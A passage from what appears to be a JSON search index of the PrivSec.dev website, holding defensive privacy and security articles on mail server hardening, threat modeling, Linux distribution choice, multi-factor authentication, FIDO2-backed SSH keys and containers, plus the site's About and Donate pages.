configuration:\nadd_header Cross-Origin-Resource-Policy same-origin; add_header Cross-Origin-Opener-Policy same-origin; If you do not use Gravatar with SOGo, you can also set COEP to require-corp since image embedding will not be used either:\nadd_header Cross-Origin-Embedder-Policy require-corp; GZIP Compression Disable gzip compression to avoid the BREACH attack. Change gzip on; to gzip off;.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/linux/slightly-improving-mailcow-security/","summary":"Mailcow is a fairly popular self-hosted mail server. If you use it, there are a few ways you can improve its security by following these steps.\nPostfix Configuration Consider disabling weak ciphers and TLS versions below 1.2 in data/conf/postfix/extra.cf:\ntls_high_cipherlist = ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256 tls_preempt_cipherlist = yes smtp_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1 smtp_tls_ciphers = high smtp_tls_mandatory_ciphers = high smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1 smtpd_tls_ciphers = high smtpd_tls_mandatory_ciphers = high NGINX Configuration These security configurations can be added/modified in data/conf/nginx/includes/site-defaults.","title":"Slightly Improving Mailcow Security"},{"content":"The first task a person should do when taking steps to protect their privacy and security is to make a threat model.\nDefining a threat To make a threat model, we must first define a threat. A common mistake made by people who are just getting into the privacy space is to define the threat as \u0026ldquo;big-tech companies.\u0026rdquo; There is a fundamental problem with this definition:\nWhy are we not trusting \u0026ldquo;big-tech companies,\u0026rdquo; but then shifting our trust to \u0026ldquo;small-tech companies\u0026rdquo;? What happens if those \u0026ldquo;small-tech companies\u0026rdquo; turn out to be malicious? What happens when our favorite \u0026ldquo;small-tech company\u0026rdquo; becomes successful and grows exponentially? The proper way to define the threat here is the \u0026ldquo;service provider,\u0026rdquo; not \u0026ldquo;big-tech.\u0026rdquo;\nGenerally, there are four primary threats a person would want to protect themselves from:\nA service provider spying their users Cross site/service tracking and data sharing, a.k.a. \u0026ldquo;mass surveillance\u0026rdquo; An app developer spying on users through their malicious software A hacker trying to get into users\u0026rsquo; computers A typical person would have several of these threats in their threat model. Some of these threats may weigh more than others. For example, a software developer would have a hacker stealing their source code, signing keys, and secrets as their primary threat, but beyond that they would also want privacy from the websites they visit and so on. Likewise, an average Joe may have their primary threat as mass surveillance and service providers, but beyond that they also need to have decent security to prevent a hacker from stealing their data.\nFor whistleblowers, the threat model is much more extreme. Beyond what is mentioned above, they also need anonymity. Beyond just hiding what they do, what data they have, not getting hacked by hackers or governments, they also have to hide who they are.\nPrivacy from service providers In most setups, our \u0026ldquo;private\u0026rdquo; messages, emails, social interactions are typically stored on a server somewhere. The obvious problem with this is that the service provider (or a hacker who has compromised the server) can look into your \u0026ldquo;private\u0026rdquo; conversations whenever and however they want, without you ever knowing. This applies to many common services like SMS messaging, Telegram, Discord, and so on.\nWith end-to-end encryption, you can alleviate this issue by encrypting communications between you and your desired recipients before they are even sent to the server. The confidentiality of your messages is guaranteed, so long as the service provider does not have access to the private keys of either party.\nIn practice, the effectiveness of different end-to-end encryption implementations varies. Applications such as Signal run natively on your device, and every copy of the application is the same across different installations. If the service provider were to backdoor their application in an attempt to steal your private keys, that could later be detected using reverse engineering.\nOn the other hand, web-based end-to-end encryption implementations such as Proton Mail\u0026rsquo;s webmail or Bitwarden\u0026rsquo;s web vault rely on the server dynamically serving JavaScript code to the browser to handle cryptographic operations. A malicious server could target a specific user and send them malicious JavaScript code to steal their encryption key, and it would be extremely hard for the user to ever notice such a thing. Even if the user does notice the attempt to steal their key, it would be incredibly hard to prove that it is the provider trying to do so, because the server can choose to serve different web clients to different users.\nTherefore, when relying on end-to-end encryption, you should choose to use native applications over web clients whenever possible.\nEven with end-to-end encryption, service providers can still profile you based on metadata, which is typically not protected. While the service provider could not read your messages to see what you\u0026rsquo;re saying, they can still observe things like who you\u0026rsquo;re talking to, how often you message them, and what times you\u0026rsquo;re typically active. Protection of metadata is fairly uncommon, and you should pay close attention to the technical documentation of the software you are using to see if there is any metadata minimization or protection at all, if that is a concern for you.\nProtection from cross site/service tracking You can be tracked across websites and services using some form of identifiers. These are typically:\nYour IP address Browser cookies Your browser fingerprint Data you submit to websites Payment method correlation Your goals should be to segregate your online identities from each other, to blend in with other people, and simply to avoid giving out identifying information to anyone as much as possible.\nInstead of relying on privacy policies (which are promises that could be violated), try to obfuscate your information in such a way that it is very difficult for different providers to correlate data with each other and build a profile on you. This could come in the form of using encryption tools like Cryptomator prior to uploading your data to cloud services, using prepaid cards or cryptocurrency to protect your credit/debit card information, using a VPN to hide your IP address from websites and services on the internet, etc. A privacy policy should only be relied upon as a last resort, when you have exhausted all of your options for true privacy and need to put complete trust in your service provider.\nBear in mind that companies can hide their ownership or share your information with data brokers, even if they are not in the advertising business. Thus, it makes little sense to solely focus on the \u0026ldquo;ad-tech\u0026rdquo; industry as a threat in your threat model. Rather, it makes a lot more sense to protect yourself from service providers as a whole, and any kind of corporate surveillance threat that most people are concerned about will be thwarted along with the rest.\nLimiting Public Information The best way to ensure your data is private is to simply not put it out there in the first place. Deleting information you find about yourself online is one of the best first steps you can take to regain your privacy.\nOn sites where you do share information, checking the privacy settings of your account to limit how widely that data is spread is very important. For example, if your accounts have a \u0026ldquo;private mode,\u0026rdquo; enable it to make sure your account isn\u0026rsquo;t being indexed by search engines and can\u0026rsquo;t be viewed by people you don\u0026rsquo;t vet beforehand.\nIf you have already submitted your real information to a number of sites which shouldn\u0026rsquo;t have it, consider employing disinformation tactics such as submitting fictitious information related to the same online identity to make your real information indistinguishable from the false information.\nProtection from malware and hackers You need security to obtain any semblance of privacy: Using tools which appear private is futile if they could easily be exploited by attackers to release your data later.\nWhen it comes to application security, we generally do not (and sometimes cannot) know if the software that we use is malicious, or might one day become malicious. Even with the most trustworthy developers, there is generally no guarantee that their software does not have a serious vulnerability that could later be exploited.\nTo minimize the potential damage that a malicious piece of software can do, you should employ security by compartmentalization. This could come in the form of using different computers for different jobs, using virtual machines to separate different groups of related applications, or using a secure operating system with a strong focus on application sandboxing and mandatory access control.\nMobile operating systems are generally safer than desktop operating systems when it comes to application sandboxing. Apps cannot obtain root access and only have access to system resources which you grant them.\nDesktop operating systems generally lag behind on proper sandboxing. ChromeOS has similar sandboxing properties to Android, and macOS has full system permission control and opt-in (for developers) sandboxing for applications, however these operating systems do transmit identifying information to their respective OEMs. Linux tends to not submit information to system vendors, but it has poor protection against exploits and malicious apps. This can be mitigated somewhat with specialized distributions which make heavy use of virtual machines or containers, such as Qubes OS.\nWeb browsers, email clients, and office applications all typically run untrusted code sent to you from third-parties. Running multiple virtual machines to separate applications like these from your host system as well as each other is one technique you can use to avoid an exploit in these applications from compromising the rest of your system. Technologies like Qubes OS or Microsoft Defender Application Guard on Windows provide convenient methods to do this seamlessly, for example.\nIf you are concerned about physical attacks you should use an operating system with a secure verified boot implementation, such as Android, iOS, ChromeOS, or macOS. You should also make sure that your drive is encrypted, and that the operating system uses a TPM or Secure Enclave or Secure Element for rate limiting attempts to enter the encryption passphrase. You should avoid sharing your computer with people you don\u0026rsquo;t trust, because most desktop operating systems do not encrypt data separately per-user.\nBad Practices As a beginner, you may often fall into some bad practices while making a threat model. These include:\nSolely focusing on advertising networks instead of service providers as a whole Heavy reliance on privacy policies Blindly shifting trust from one service provider to another Heavy reliance on badness enumeration for privacy instead of systematically solving the problem Blindly trusting open-source software As discussed, focusing solely on advertising networks and relying solely on privacy policies does not make up a sensible threat model. When switching away from a service provider, try to determine what the root problem is and see if your new provider has any technical solution to the problem. For example, you may not like Google Drive as it means giving Google access to all of your data. The underlying problem here is the lack of end to end encryption, which you can solve by using an encryption tool like Cryptomator or by switching to a provider who provides it out of the box like Proton Drive. Blindly switching from Google Drive to a provider who does not provide end to end encryption like the Murena Cloud does not make sense.\nYou should also keep in mind that badness enumeration does not work, cannot work, has never worked, and will never work. While things like ad blockers and antiviruses may help block the low hanging fruits, they can never fully protect you from the threat. On the other hand, they often increase your attack surface and are not worth the security sacrifice. At best, they are merely convenience tools and should not be thought of as part of a defense strategy.\nAnother thing to keep in mind is that open-source software is not automatically private or secure. Malicious code can be sneaked into a package by the developer of a project, contributors, library developers or the person who compiles the code. Beyond that, sometimes, a piece of open-source software may have worse security properties than its proprietary counterpart. An example of this would be traditional Linux desktops lacking verified boot, system integrity protection, or a full system access control for apps when compared to macOS. When doing threat modeling, it is vital that you evaluate the privacy and security properties of each piece of software being used, rather than just blindly trusting it because it is open-source.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/knowledge/threat-modeling/","summary":"The first task a person should do when taking steps to protect their privacy and security is to make a threat model.\nDefining a threat To make a threat model, we must first define a threat. A common mistake made by people who are just getting into the privacy space is to define the threat as \u0026ldquo;big-tech companies.\u0026rdquo; There is a fundamental problem with this definition:\nWhy are we not trusting \u0026ldquo;big-tech companies,\u0026rdquo; but then shifting our trust to \u0026ldquo;small-tech companies\u0026rdquo;?","title":"Threat Modeling"},{"content":"Not all Linux distributions are created equal. When choosing a Linux distribution, there are several things you need to keep in mind.\nRelease Cycle You should choose a distribution which stays close to the stable upstream software releases, typically rolling release distributions. This is because frozen release cycle distributions often don’t update package versions and fall behind on security updates.\nFor frozen distributions, package maintainers are expected to backport patches to fix vulnerabilities (Debian is one such example) rather than bump the software to the “next version” released by the upstream developer. Some security fixes do not receive a CVE (particularly less popular software) at all and therefore do not make it into the distribution with this patching model. As a result minor security fixes are sometimes held back until the next major release.\nIn fact, in certain cases, there have been vulnerabilities introduced by Debian because of their patching process. Bug 1633467 and DSA-1571 are examples of this.\nThe practice of holding packages back and applying interim patches is generally not a good idea, as it diverges from the way the developer might have intended the software to work. Richard Brown has a presentation about this:\nEven if you are worried about the stability of the system because of regularly updated packages (which you shouldn\u0026rsquo;t be), it makes more sense to use a system which you can safely update and rollback instead of an outdated distribution partially made up of unreliable backport packages without an easy rollback mechanism in case something goes wrong like Debian.\nArch-based Distributions Arch Linux has very up-to-date packages with minimal downstream patching. That being said, Arch-based distributions are not recommended for those new to Linux, regardless of the distribution. Arch does not have an distribution update mechanism for the underlying software choices. As a result, you have to stay aware with current trends and adopt technologies as they supersede older practices on your own.\nFor a secure system, you are also expected to have sufficient Linux knowledge to properly set up security for your system such as adopting a mandatory access control system, setting up kernel module blacklists, hardening boot parameters, manipulating sysctl parameters, and knowing what components you need such as Polkit.\nIf you are experienced with Linux and wish to use an Arch-based distribution, you should use Arch Linux proper, not any of its derivatives. Downstream distributions may come with bad practices like holding back packages (as is the case with Manjaro), blindly building packages from the AUR (as is the case with Garuda and its Chaotic-AUR repository), or just not setting up the basics such as mandatory access control or firewalls.\n“Security-focused” Distributions There is often some confusion about “security-focused” distributions and “pentesting” distributions. A quick search for “the most secure Linux distribution” will often give results like Kali Linux, Black Arch and Parrot OS. These distributions are offensive penetration testing distributions that bundle tools for testing other systems. They don’t include any “extra security” or defensive mitigations intended for regular use.\nLinux-libre Kernel and “Libre” Distributions Do not use the Linux-libre kernel, since it removes security mitigations and suppresses kernel warnings about vulnerable microcode for ideological reasons.\nIf you want to use one of these distributions for reasons other than ideology, you should make sure that they there is a way to easily obtain, install, and update a proper kernel and missing firmware. For example, if you are looking to use GUIX, you should absolutely use something like the Nonguix repository and get all of the fixes as mentioned above.\nDesktop Environments Consider using GNOME as your desktop environment. It supports Wayland, a display protocol developed with security in mind, and implements permission control for privileged Wayland protocols like screencopy. There are other desktop environments and window managers with Wayland support, but we are not aware of any permission control implemented by them. One caveat with GNOME is that it is written in unsafe languages, but we think the trade off for permission control is well worth it.\nWayland\u0026rsquo;s predecessor, X11, does not support GUI isolation, allowing all windows to record screen, log and inject inputs in other windows, making any attempt at sandboxing futile. While there are options to run nested X11 sessions such as Xpra or Xephyr, they often come with negative performance consequences, are not convenient to set up, and are not preferable to Wayland. You should avoid desktop environments and window managers which only support X11.\nRecommended Distributions Here is a quick, non-authoritative list of distributions we recommend over others:\nFedora Workstation Fedora Workstation is a great general-purpose Linux distribution, especially for those who are new to Linux. It is a semi-rolling release distribution. While some packages like GNOME are frozen until the next Fedora release, most packages (including the kernel) are updated frequently throughout the lifespan of the release. Each Fedora release is supported for one year, with a new version released every 6 months. The distribution takes an \u0026ldquo;upstream first\u0026rdquo; approach and ship packages with minimal downstream patching, and the patches are done in a sensible manner which does not unexpectedly break functionalities unlike Debian.\nWith that, Fedora generally adopts newer technologies before other distributions e.g., Wayland and PipeWire. These new technologies often come with improvements in security, privacy, and usability in general.\nFedora\u0026rsquo;s package manager, dnf, has a great rollback and undo feature that is generally missing from other package managers. You can read more about it on Red Hat\u0026rsquo;s documentation.\nFedora Atomic Desktops Fedora Atomic Desktops are immutable variants of Fedora with a strong focus on container workflows. While they do not provide security benefits over Fedora, they have a much more reliable update mechanism. Unlike traditional Linux where packages are updated one by one, Atomic Desktops will download a whole new OS image first before rebooting to switch over to the new image. The system cannot fail in the middle of an update, and should something be wrong with the new image, it only takes one reboot to return the system to its previous state. Should you feel the dnf rollback mechanism isn\u0026rsquo;t enough, we recommend giving Fedora Atomic Desktops a try.\nAdam Šamalík has a presentation with rpm-ostree in action:\nOne caveat with Fedora Atomic Desktops is that rpm-ostree currently has a hard dependency on grub and does not support Unified Kernel Images. The consequence of this is that unlike Fedora Workstation, it is not possible to set up a Fedora Atomic system with meaningful Secure Boot to resist physical tampering.\nSecureBlue SecureBlue provides hardened operating system images based on Fedora Atomic Desktops. While they do additional parties of trust (SecureBlue, GitHub infrastructure, BlueBuild, Negativo, etc), their images are substantially hardened and not easily replicated by hand. There are several very interesting packages maintained by SecureBlue as well:\nTrivalent, a hardened chromium desktop build with patches from GrapheneOS\u0026rsquo;s Vanadium. Hardened Malloc. SecureBlue packages GrapheneOS\u0026rsquo;s memory allocator and enables it system wide, including for Flatpak applications. openSUSE Aeon Fedora Atomic Desktop\u0026rsquo;s European counterpart. openSUSE Aeon is a rolling release, fast updating distributions with transactional updates using Btrfs and Snapper.\nAeon has a relatively small set of base packages (thus lowering the attack surface) and mounts the running BTRFS subvolume as read-only. Updates are applied package by package to a new BTRFS snapshot before the system is rebooted to the new subvolume. This allows the rollback process to be relatively easy just like on Fedora Atomic Desktops.\nWhonix Whonix is a distribution focused on anonymity based on Kicksecure. It is meant to run as two virtual machines: a “Workstation” and a Tor “Gateway.” All communications from the Workstation must go through the Tor gateway. This means that even if the Workstation is compromised by malware of some kind, the true IP address remains hidden. It is currently the best solution that I know of if your threat model requires anonymity.\nSome of its features include Tor Stream Isolation, keystroke anonymization, boot clock randomization, encrypted swap, hardened boot parameters, and hardened kernel settings. One downside of Whonix is that it still inherits outdated packages with lots of downstream patching from Debian. It would be better if Whonix gets reimplemented on top of a more sensible base like SecureBlue, although no such system publicly exists yet.\nAlthough Whonix is best used in conjunction with Qubes, Qubes-Whonix has various disadvantages when compared to other hypervisors.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/linux/choosing-your-desktop-linux-distribution/","summary":"Not all Linux distributions are created equal. When choosing a Linux distribution, there are several things you need to keep in mind.\nRelease Cycle You should choose a distribution which stays close to the stable upstream software releases, typically rolling release distributions. This is because frozen release cycle distributions often don’t update package versions and fall behind on security updates.\nFor frozen distributions, package maintainers are expected to backport patches to fix vulnerabilities (Debian is one such example) rather than bump the software to the “next version” released by the upstream developer.","title":"Choosing Your Desktop Linux Distribution"},{"content":"PrivSec.dev is made by a group of enthusiastic individuals looking to provide practical privacy and security advice for the end user. We are security researchers, developers, system administrators\u0026hellip; generally people with technical knowledge and work in the field.\nWe focus on in-depth system configuration, security analysis, and software/hardware recommendations. Our site is based on technical merits, not ideologies and politics.\nAlso, to avoid any confusion, we are not affiliated, associated or in any way connected with the PrivSec Global Conference.\nTommy Benevolent dictator for life @PrivSec.dev. System Administrator.\nWebsite: tommytran.io\nMatrix: @tommy:arcticfoxes.net\nEmail: contact@tommytran.io\nakc3n Just an ordinary human that loves to learn, solve puzzles, and eat food.\nWebsite: github.com/akc3n\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/about/","summary":"PrivSec.dev is made by a group of enthusiastic individuals looking to provide practical privacy and security advice for the end user. We are security researchers, developers, system administrators\u0026hellip; generally people with technical knowledge and work in the field.\nWe focus on in-depth system configuration, security analysis, and software/hardware recommendations. Our site is based on technical merits, not ideologies and politics.\nAlso, to avoid any confusion, we are not affiliated, associated or in any way connected with the PrivSec Global Conference.","title":"About Us"},{"content":"The domain costs us $12/year to renew from Google. We got our repository hosted for free on GitHub. We got our site hosted $10/month with Netlify. It costs Tommy ~$20/month to run the mail server, but that server is used for a bunch of his projects, not just PrivSec, and we doubt it will be used that much anyways. The point is, this website does not cost much to run, and as such we will not be accepting donation as a project.\nThe real cost is the time and energy we put into writing, testing, and fact checking the content. Some of our members may want to accept donation, and you can donate to them individually.\nakc3n PayPal: https://paypal.me/akc3n\nAlternatively, please consider donating to the projects below. These are projects which we rely on for our own digital safety and recommend to our readers. They are vital for the privacy, security, and safety of thousands of people.\nGrapheneOS Donation Link: grapheneos.org/donate\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/donate/","summary":"The domain costs us $12/year to renew from Google. We got our repository hosted for free on GitHub. We got our site hosted $10/month with Netlify. It costs Tommy ~$20/month to run the mail server, but that server is used for a bunch of his projects, not just PrivSec, and we doubt it will be used that much anyways. The point is, this website does not cost much to run, and as such we will not be accepting donation as a project.","title":"Donate"},{"content":"Multi-factor authentication is a security mechanism that requires additional verification beyond your username (or email) and password. This usually comes in the form of a one-time passcode, a push notification, or plugging in and tapping a hardware security key.\nCommon protocols Email and SMS MFA Email and SMS MFA are examples of the weaker MFA protocols. Email MFA is not great as whoever controls your email account can typically both reset your password and receive your MFA verification. SMS, on the other hand, is problematic due to the lack of any kind of encryption, making it vulnerable to sniffing. Sim swap attacks, if carried out successfully, will allow an attacker to receive your one-time passcode while locking you out of your own account. In certain cases, websites or services may also allow the user to reset their account login by calling them using the phone number used for MFA, which could be faked with a spoofed CallerID.\nOnly use these protocols when it is the only option you have, and be very careful with SMS MFA as it could actually worsen your security.\nPush Confirmations Push confirmation MFA is typically a notification being sent to an app on your phone asking you to confirm new account logins. This method is a lot better than SMS or email, since an attacker typically wouldn\u0026rsquo;t be able to get these push notifications without having an already logged-in device.\nPush confirmation in most cases relies on a third-party provider like Duo. This means that trust is placed in a server that neither you nor your service provider control. A malicious push confirmation server could compromise your MFA or profile you based on which website and account you use with the service.\nEven if the push notification application and server is provided by a first-party as is the case with Microsoft login and Microsoft Authenticator, there is still a risk of you accidentally tapping on the confirmation button.\nTime-based One-time Password (TOTP) TOTP is one of the most common forms of MFA available. When you set up TOTP, you setup a \u0026ldquo;shared secret\u0026rdquo; with the service that you intend to use and store it in your authentication app.\nThe time-limited code is then derived from the shared secret and the current time. As the code is only valid for a short time, without access to the shared secret, an adversary cannot generate new codes.\nIf you have a YubiKey, you should store the \u0026ldquo;shared secrets\u0026rdquo; on the key itself using the Yubico Authenticator app. After the initial setup, the Yubico Authenticator will only expose the 6 digit code to the machine it is running on, but not the shared secret. Additional security can be set up by requiring touch confirmation, protecting digit codes not in used from a compromised operating system.\nUnlike WebAuthn, TOTP offers no protection against phishing or reuse attacks. If an adversary obtains a valid code from you, they may use it as many times as they like until it expires (generally 30 seconds + grace period).\nDespite its short comings, we consider TOTP better and safer than Push Confirmations.\nYubico OTP Yubico OTP is an authentication protocol typically implemented in hardware security keys. When you decide to use Yubico OTP, the key will generate a public ID, private ID, and a Secret Key which is then uploaded to the Yubico OTP server.\nWhen logging into a website, all you need to do is to physically touch the security key. The security key will emulate a keyboard and print out a one-time password into the password field.\nThe service will then forward the one-time password to the Yubico OTP server for validation. A counter is incremented both on the key and Yubico\u0026rsquo;s validation server. The OTP can only be used once, and when a successful authentication occurs, the counter is increased which prevents reuse of the OTP. Yubico provides a detailed document about the process.\nThe Yubico validation server is a cloud based service, and you\u0026rsquo;re placing trust in Yubico that their server won\u0026rsquo;t be used to bypass your MFA or profile you. The public ID associated with Yubico OTP is reused on every website and could be another avenue for third-parties to profile you. Like TOTP, Yubico OTP does not provide phishing resistance.\nYubico OTP is an inferior protocol compared to TOTP since TOTP does not need trust in a third-party server and most security keys that support Yubico OTP (namely the YubiKey and OnlyKey) supports TOTP anyway. Yubico OTP is still better than Push Confirmation, however.\nFIDO2 (Fast IDentity Online) FIDO includes a number of standards; first there was U2F and then later FIDO2 which includes the web standard WebAuthn.\nU2F and FIDO2 refer to the Client to Authenticator Protocol, which is the protocol between the security key and the computer, such as a laptop or phone. It complements WebAuthn which is the component used to authenticate with the website (the \u0026ldquo;Relying Party\u0026rdquo;) you\u0026rsquo;re trying to log in on.\nWebAuthn is the most secure and private form of second factor authentication. While the authentication experience is similar to Yubico OTP, the key does not print out a one-time password and validate with a third-party server. Instead, it uses public key cryptography for authentication.\nSince FIDO2/WebAuthn uses unique cryptographic keys with each internet site, a site pretending to be another one will not be able to get the correct response to the challenge for MFA, making FIDO2/Webauthn is invulnerable phising. It is also because of this authentication mechanism that a physical FIDO2 security key is not identifiable across different services like Yubico OTP. Even better, FIDO2 uses a counter for each authentication, which would help with detecting cloned keys.\nIf a website or service supports WebAuthn for the authentication, it is highly recommended that you use it over any other form of MFA.\nNotes Initial Set Up When buying a security key, it is important that you change the default credentials, set up password protection for the key, and enable touch confirmation if your key supports it. Products such as the YubiKey have multiple interfaces with separate credentials for each one of them, so you should go over each interface and set up protection as well.\nBackups You should always have backups for your MFA method. Hardware security keys can get lost, stolen, or simply stop working over time. It is recommended that you have a pair of hardware security keys with the same access to your accounts instead of just one.\nWhen using TOTP with an authenticator app, be sure to back up your recovery keys to an offline and encrypted storage device.\nWeakest link You are only as secure as the weakest authentication method you use. For instance, it makes little sense to add SMS 2FA as an alternative MFA method if you are already using FIDO2. An adversary who can compromise your SMS 2FA will get into your account just as easily as if you didn\u0026rsquo;t use FIDO2 at all.\nThus, it is important to stick to the best authentication method you have access to. It is better to have 2 Yubikeys for FIDO2 than 1 FIDO2 key and one authenticator app for TOTP. Likewise, it is better to have 1 TOTP instance and a backup key than to use TOTP alongside with Email or SMS 2FA.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/knowledge/multi-factor-authentication/","summary":"Multi-factor authentication is a security mechanism that requires additional verification beyond your username (or email) and password. This usually comes in the form of a one-time passcode, a push notification, or plugging in and tapping a hardware security key.\nCommon protocols Email and SMS MFA Email and SMS MFA are examples of the weaker MFA protocols. Email MFA is not great as whoever controls your email account can typically both reset your password and receive your MFA verification.","title":"Multi-factor Authentication"},{"content":"Passwordless authentication with OpenSSH keys has been the de facto security standard for years. SSH keys are more robust since they\u0026rsquo;re cryptographically sane by default, and are therefore resilient to most bruteforce atacks. They\u0026rsquo;re also easier to manage while enabling a form of decentralized authentication (it\u0026rsquo;s easy and painless to revoke them). So, what\u0026rsquo;s the next step? And more exactly, why would one need something even better?\nWhy? The main problem with SSH keys is that they\u0026rsquo;re not magic: they consist of a key pair, of which the private key is stored on your disk. You should be wary of various exfiltration attempts, depending on your theat model:\nIf your disk is not encrypted, any physical access could compromise your keys. If your private key isn\u0026rsquo;t encrypted, malicious applications could compromise it. Even with both encrypted, malicious applications could register your keystrokes. All these attempts are particularly a thing on desktop platforms, because they don\u0026rsquo;t have a proper sandboxing model. On Windows, non-UWP apps could likely have full access to your .ssh directory. On desktop Linux distributions, sandboxing is also lacking, and the situation is even worse if you\u0026rsquo;re using X.org since it allows apps to spy on each other (and on your keyboard) by design. A first good step would be to only use SSH from a trusted \u0026amp; decently secure system.\nAnother layer of defense would obviously be multi-factor authentication, or the fact that you\u0026rsquo;re relying on a shared secret instead. We can use FIDO2 security keys for that. That way, even if your private key is compromised, the attacker needs physical access to your security key. TOTP is another common 2FA technique, but it\u0026rsquo;s vulnerable to various attacks, and relies on the quality of the implementation on the server.\nHow? Fortunately for us, OpenSSH 8.2 (released in February 2020) introduced native support for FIDO2/U2F. Most OpenSSH distributions should have the middleware set to use the libfido2 library, including portable versions such as the one for Win32.\nBasically, ssh-keygen -t ${key_type}-sk will generate for us a token-backed key pair. The key types that are supported depend on your security key. Newer models should support both ECDSA-P256 (ecdsa-sk) and Ed25519 (ed25519-sk). If the latter is available, you should prefer it.\nClient configuration To get started:\nssh-keygen -t ed25519-sk This will generate a id_ed25519_sk private key and a id_ed25519_sk.pub public key in .ssh. These are defaults, but you can change them if you want. We will call this key pair a \u0026ldquo;handle\u0026rdquo;, because they\u0026rsquo;re not sufficient by themselves to derive the real secret (as you guessed it, the FIDO2 token is needed). ssh-keygen should ask you to touch the key, and enter the PIN prior to that if you did set one (you probably should).\nYou can also generate a resident key (referred to as discoverable credential in the WebAuthn specification):\nssh-keygen -t ed25519-sk -O resident -O application=ssh:user1 As you can see, a few options must be specified:\n-O resident will tell ssh-keygen to generate a resident key, meaning that the private \u0026ldquo;handle\u0026rdquo; key will also be stored on the security key itself. This has security implications, but you may want that to move seamlessly between different computers. In that case, you should absolutely protect your key with a PIN beforehand. -O application=ssh: is necessary to instruct that the resident key will use a particular slot, because the security key will have to index the resident keys (by default, they use ssh: with an empty user ID). If this is not specified, the next key generation might overwrite the previous one. -O verify-required is optional but instructs that a PIN is required to generate/access the key. Resident keys can be retrieved using ssh-keygen -K or ssh-add -K if you don\u0026rsquo;t want to write them to the disk.\nServer configuration Next, transfer your public key over to the server (granted you have already access to it with a regular key pair):\nssh-copy-id -i ~/.ssh/id_ed25519_sk.pub user@server.domain.tld Ta-da! But one last thing: we need to make sure the server supports this public key format in sshd_config:\nPubkeyAcceptedKeyTypes ssh-ed25519,sk-ssh-ed25519@openssh.com Adding sk-ssh-ed25519@openssh.com to PubkeyAcceptedKeyTypes should suffice. It\u0026rsquo;s best practice to only use the cryptographic primitives that you need, and hopefully ones that are also modern. This isn\u0026rsquo;t a full-on SSH hardening guide, but you should take a look at the configuration file GrapheneOS uses for their servers to give you an idea on a few good practices.\nRestart the sshd service and try to connect to your server using your key handle (by passing -i ~/.ssh/id_ed25519_sk to ssh for instance). If that works for you (your FIDO2 security key should be needed to derive the real secret), feel free to remove your previous keys from .ssh/authorized_keys on your server.\nThat\u0026rsquo;s cool, right? If you don\u0026rsquo;t have a security key, you can buy one from YubiKey (I\u0026rsquo;m very happy with my 5C NFC by the way), Nitrokey, SoloKeys or OnlyKey (to name a few). If you have an Android device with a hardware security module (HSM), such as the Google Pixels equipped with Titan M (Pixel 3+), you could even use them as Bluetooth security keys.\nNo reason to miss out on the party if you can afford it!\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/linux/securing-openssh-with-fido2/","summary":"Passwordless authentication with OpenSSH keys has been the de facto security standard for years. SSH keys are more robust since they\u0026rsquo;re cryptographically sane by default, and are therefore resilient to most bruteforce atacks. They\u0026rsquo;re also easier to manage while enabling a form of decentralized authentication (it\u0026rsquo;s easy and painless to revoke them). So, what\u0026rsquo;s the next step? And more exactly, why would one need something even better?\nWhy? The main problem with SSH keys is that they\u0026rsquo;re not magic: they consist of a key pair, of which the private key is stored on your disk.","title":"Securing OpenSSH with FIDO2"},{"content":"Containers aren\u0026rsquo;t that new fancy thing anymore, but they were a big deal. And they still are. They are a concrete solution to the following problem:\n- Hey, your software doesn\u0026rsquo;t work\u0026hellip;\n- Sorry, it works on my computer! Can\u0026rsquo;t help you.\nWhether we like them or not, containers are here to stay. Their expressiveness and semantics allow for an abstraction of the OS dependencies that a software has, the latter being often dynamically linked against certain libraries. The developer can therefore provide a known-good environment where it is expected that their software \u0026ldquo;just works\u0026rdquo;. That is particularly useful for development to eliminate environment-related issues, and that is often used in production as well.\nContainers are often perceived as a great tool for isolation, that is, they can provide an isolated workspace that won\u0026rsquo;t pollute your host OS - all that without the overhead of virtual machines. Security-wise: containers, as we know them on Linux, are glorified namespaces at their core. Containers usually share the same kernel with the host, and namespaces is the kernel feature for separating kernel resources across containers (IDs, networks, filesystems, IPC, etc.). Containers also leverage the features of cgroups to separate system resources (CPU, memory, etc.), and security features such as seccomp to restrict syscalls, or MACs (AppArmor, SELinux).\nAt first, it seems that containers may not provide the same isolation boundary as virtual machines. That\u0026rsquo;s fine, they were not designed to. But they can\u0026rsquo;t be simplified to a simple chroot either. We\u0026rsquo;ll see that a \u0026ldquo;container\u0026rdquo; can mean a lot of things, and their definition may vary a lot depending on the implementation: as such, containers are mostly defined by their semantics.\nDocker is dead, long live Docker\u0026hellip; and OCI! When people think of containers, a large group of them may think of Docker. While Docker played a big role in the popularity of containers a few years ago, it didn\u0026rsquo;t introduce the technology: on Linux, LXC did (Linux Containers). In fact, Docker in its early days was a high-level wrapper for LXC which already combined the power of namespaces and cgroups. Docker then replaced LXC with libcontainer which does more or less the same, plus extra features.\nThen, what happened? Open Container Initiative (OCI). That is the current standard that defines the container ecosystem. That means that whether you\u0026rsquo;re using Docker, Podman, or Kubernetes, you\u0026rsquo;re in fact running OCI-compliant tools. That is a good thing, as it saves a lot of interoperability headaches.\nDocker is no longer the monolithic platform it once was. libcontainer was absorbed by runc, the reference OCI runtime. The high-level components of Docker split into different parts related to the upstream Moby project (Docker is the \u0026ldquo;assembled product\u0026rdquo; of the \u0026ldquo;Moby components\u0026rdquo;). When we refer to Docker, we refer in fact at this powerful high-level API that manages OCI containers. By design, Docker is a daemon that communicates with containerd, a lower-level layer, which in turn communicates with the OCI runtime. That also means that you could very well skip Docker altogether and use containerd or even runc directly.\nDocker client \u0026lt;=\u0026gt; Docker daemon \u0026lt;=\u0026gt; containerd \u0026lt;=\u0026gt; containerd-shim \u0026lt;=\u0026gt; runc Podman is an alternative to Docker developed by 